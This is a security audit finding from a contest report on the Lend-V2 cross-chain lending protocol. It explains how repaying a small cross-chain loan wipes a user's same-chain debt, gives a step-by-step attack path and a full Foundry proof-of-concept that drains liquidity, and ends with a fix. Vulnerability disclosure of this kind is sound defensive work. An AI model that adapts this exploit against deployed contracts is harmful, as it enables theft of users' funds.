Ambitious Shamrock Moth

High

# Any user will be able to steal liquidity from the protocol by repaying cross-chain debt

### Summary

Same-chain state updates applied during cross-chain repayments will cause insolvency for the protocol as a borrower with existing same-chain debt can set their debt to zero using a single cross-chain repayment. Additionally, there may be permanent loss of collateral for users as a liquidator will be able to liquidate users with healthy positions who will be marked with fictitious debt.

### Root Cause

During cross-chain repayments on [CoreRouter.sol:493-500](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L493-L500) the (same-chain) borrow balance of the user is updated. If the user fully repays their cross-chain debt, then their same-chain borrow balance is set to zero. Thus, by taking a small cross-chain loan and fully repaying it, they can wipe out their same-chain debt balance. Also, if the user partially repays their cross-chain loan, their same-chain borrow balance is set to the remaining cross-chain debt. Their existing same-chain debt could be zero, and so this will increase their recorded same-chain debt, which could make them liquidatable.

### Internal Pre-conditions

N/A

### External Pre-conditions

N/A

### Attack Path

1. Attacker calls `CoreRouter::supply` on Chain A for a small quantity.
2. Attacker calls `CrossChainRouter::borrowCrossChain` on Chain A - setting the destination chain as Chain B with a small quantity as the borrow amount. The cross-chain borrow workflow completes successfully.
3. Attacker calls `CoreRouter::supply` on Chain B.
4. Attacker calls `CoreRouter::borrow` on Chain B.
5. Attacker calls `CrossChainRouter::repayCrossChainBorrow` on Chain B, fully repaying the cross-chain loan which sets their same-chain debt to zero.
6. Attacker calls `CoreRouter::redeem` on Chain B to withdraw all of their supplied collateral.

### Impact

All available liquidity can be drained from the protocol. The attacker gains all of this liquidity.

### PoC

Add a new test file in the test folder with the below contents and run using: `forge test --match-test test_clear_same_chain_debt --match-contract HGranoTest -vvv`.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test, console2} from "forge-std/Test.sol";
import {Deploy} from "../script/Deploy.s.sol";
import {HelperConfig} from "../script/HelperConfig.s.sol";
import {CrossChainRouterMock} from "./mocks/CrossChainRouterMock.sol";
import {CoreRouter} from "../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../src/Lendtroller.sol";
import {InterestRateModel} from "../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../src/LTokenInterfaces.sol";
import {LToken} from "../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";
import {SendLibMock} from "@layerzerolabs/lz-evm-messagelib-v2/test/mocks/SendLibMock.sol";
import "@layerzerolabs/lz-evm-protocol-v2/test/utils/LayerZeroTest.sol";

contract HGranoTest is LayerZeroTest {
    HelperConfig public helperConfig;
    address public layerZeroEndpoint;
    address[] public supportedTokensA;
    address[] public supportedTokensB;
    address[] public supportedTokensC;
    bool public isTestnet;
    address public deployer;

    // Chain A (Source)
    CrossChainRouterMock public routerA;
    LendStorage public lendStorageA;
    CoreRouter public coreRouterA;
    Lendtroller public lendtrollerA;
    InterestRateModel public interestRateModelA;
    SimplePriceOracle public priceOracleA;
    address[] public lTokensA;

    // Chain B (Destination)
    CrossChainRouterMock public routerB;
    LendStorage public lendStorageB;
    CoreRouter public coreRouterB;
    Lendtroller public lendtrollerB;
    InterestRateModel public interestRateModelB;
    SimplePriceOracle public priceOracleB;
    address[] public lTokensB;

    // I had to change these values to fix test failures as the mocks used chain ID as the Endpoint ID
    uint32 constant CHAIN_A_ID = 31337;
    uint32 constant CHAIN_B_ID = 31337;

    EndpointV2 public endpointA;
    EndpointV2 public endpointB;
    SimpleMessageLib public simpleMsgLibA;
    SimpleMessageLib public simpleMsgLibB;

    // Events to test
    event BorrowSuccess(address indexed borrower, address indexed lToken, uint256 accountBorrow);

    function setUp() public override(LayerZeroTest) {
        super.setUp();

        deployer = makeAddr("deployer");
        vm.deal(deployer, 1000 ether);

        // Deploy protocol on Chain A using the endpoint we just created
        Deploy deployA = new Deploy();
        (
            address priceOracleAddressA,
            address lendtrollerAddressA,
            address interestRateModelAddressA,
            address[] memory lTokenAddressesA,
            address payable routerAddressA,
            address payable coreRouterAddressA,
            address lendStorageAddressA,
            , //address _layerZeroEndpoint
            address[] memory _supportedTokensA
        ) = deployA.run(address(endpointA)); // Pass the endpoint address to Deploy.run

        // Store Chain A values
        routerA = CrossChainRouterMock(payable(routerAddressA));
        lendStorageA = LendStorage(lendStorageAddressA);
        coreRouterA = CoreRouter(coreRouterAddressA);
        lendtrollerA = Lendtroller(lendtrollerAddressA);
        interestRateModelA = InterestRateModel(interestRateModelAddressA);
        priceOracleA = SimplePriceOracle(priceOracleAddressA);
        lTokensA = lTokenAddressesA;
        supportedTokensA = _supportedTokensA;

        // Deploy protocol on Chain B
        Deploy deployB = new Deploy();
        (
            address priceOracleAddressB,
            address lendtrollerAddressB,
            address interestRateModelAddressB,
            address[] memory lTokenAddressesB,
            address payable routerAddressB,
            address payable coreRouterAddressB,
            address lendStorageAddressB,
            , // address _layerZeroEndpoint
            address[] memory _supportedTokensB
        ) = deployB.run(address(endpointB));

        // Store Chain B values
        routerB = CrossChainRouterMock(payable(routerAddressB));
        lendStorageB = LendStorage(lendStorageAddressB);
        coreRouterB = CoreRouter(coreRouterAddressB);
        lendtrollerB = Lendtroller(lendtrollerAddressB);
        interestRateModelB = InterestRateModel(interestRateModelAddressB);
        priceOracleB = SimplePriceOracle(priceOracleAddressB);
        lTokensB = lTokenAddressesB;
        supportedTokensB = _supportedTokensB;

        // Now set up cross-chain mappings as the owner
        vm.startPrank(routerA.owner());
        for (uint256 i = 0; i < supportedTokensA.length; i++) {
            lendStorageA.addUnderlyingToDestUnderlying(supportedTokensA[i], supportedTokensB[i], CHAIN_B_ID);
            // Add mapping from underlying token to destination lToken
            lendStorageA.addUnderlyingToDestlToken(supportedTokensA[i], lTokensB[i], CHAIN_B_ID);
            // Add mapping from lToken to destination lToken
            lendStorageA.setChainLTokenMap(lTokensA[i], CHAIN_B_ID, lTokensB[i]);
        }
        vm.stopPrank();

        vm.startPrank(routerB.owner());
        for (uint256 i = 0; i < supportedTokensB.length; i++) {
            lendStorageB.addUnderlyingToDestUnderlying(supportedTokensB[i], supportedTokensA[i], CHAIN_A_ID);
            // Add mapping from underlying token to destination lToken
            lendStorageB.addUnderlyingToDestlToken(supportedTokensB[i], lTokensA[i], CHAIN_A_ID);
            // Add mapping from lToken to destination lToken
            lendStorageB.setChainLTokenMap(lTokensB[i], CHAIN_A_ID, lTokensA[i]);
        }
        vm.stopPrank();

        // Set up initial prices for supported tokens on both chains

        for (uint256 i = 0; i < supportedTokensA.length; i++) {
            priceOracleA.setDirectPrice(supportedTokensA[i], 1e18);
        }

        for (uint256 i = 0; i < supportedTokensB.length; i++) {
            priceOracleB.setDirectPrice(supportedTokensB[i], 1e18);
        }

        vm.label(address(routerA), "Router A");
        vm.label(address(routerB), "Router B");
        // After deploying routers, set up their pair contracts
        routerA = CrossChainRouterMock(payable(routerAddressA));
        routerB = CrossChainRouterMock(payable(routerAddressB));

        // Set up pair relationships
        routerA.setPairContract(payable(address(routerB)));
        routerB.setPairContract(payable(address(routerA)));
    }

    // Helper function to supply tokens before testing borrowing
    function _supplyA(address user, uint256 amount) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerA), 1 ether);

        token = supportedTokensA[0];
        lToken = lendStorageA.underlyingTolToken(token);

        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouterA), amount);
        coreRouterA.supply(amount, token);
        vm.stopPrank();
    }

    function _supplyB(address user, uint256 amount) internal returns (address token, address lToken) {
        // Deal ether for LayerZero fees
        vm.deal(address(routerB), 1 ether);

        token = supportedTokensB[0];
        lToken = lendStorageB.underlyingTolToken(token);

        vm.startPrank(user);
        ERC20Mock(token).mint(user, amount);
        IERC20(token).approve(address(coreRouterB), amount);
        coreRouterB.supply(amount, token);
        vm.stopPrank();
    }

    function test_clear_same_chain_debt() public {
        address attacker = makeAddr("attacker");
        address otherUser = makeAddr("user");
        uint256 amountToSupply = 100_000e18;
        vm.deal(address(routerA), 1 ether);

        (address tokenA, address lTokenA) = _supplyA(attacker, 1e18);
        (address tokenB, address lTokenB) = _supplyB(attacker, amountToSupply);
        _supplyB(otherUser, amountToSupply);

        vm.startPrank(attacker);

        // Execute cross-chain borrow for dust amount
        routerA.borrowCrossChain(1, tokenA, CHAIN_B_ID);

        uint256 borrowedAmount = (lendStorageB.getMaxBorrowAmount(attacker, lTokenB) * 0.9e18) / 1e18;

        emit log_named_decimal_uint("borrowedAmount", borrowedAmount, 18);

        // Execute borrow
        coreRouterB.borrow(borrowedAmount, tokenB);

        // Repay the cross-chain borrow, thus deleting the same-chain debt
        IERC20(tokenB).approve(address(coreRouterB), type(uint256).max);
        routerB.repayCrossChainBorrow(attacker, 1, lTokenB, CHAIN_A_ID);
        (uint256 borrowAmountB,) = lendStorageB.borrowBalance(attacker, lTokenB);

        emit log_named_decimal_uint("Borrow balance on chain B after repaying cross-chain borrow", borrowAmountB, 18);

        (uint256 borrowed, uint256 collateral) = lendStorageB.getHypotheticalAccountLiquidityCollateral(attacker, LToken(address(0)), 0, 0);
        emit log_named_decimal_uint("Borrowed final on chain B", borrowed, 18);
        emit log_named_decimal_uint("Collateral final on chain B", collateral, 18);

        // The borrow balance is cleared so we can fully redeem the collateral
        uint256 balBeforeRedeem = IERC20(tokenB).balanceOf(attacker);
        coreRouterB.redeem(lendStorageB.totalInvestment(attacker, lTokenB), payable(lTokenB));
        uint256 balAfterRedeem = IERC20(tokenB).balanceOf(attacker);
        vm.assertEq(balAfterRedeem - balBeforeRedeem, amountToSupply);
    }
}

```

### Mitigation

Only apply the same-chain specific updates upon debt repayment if it is a same-chain repayment.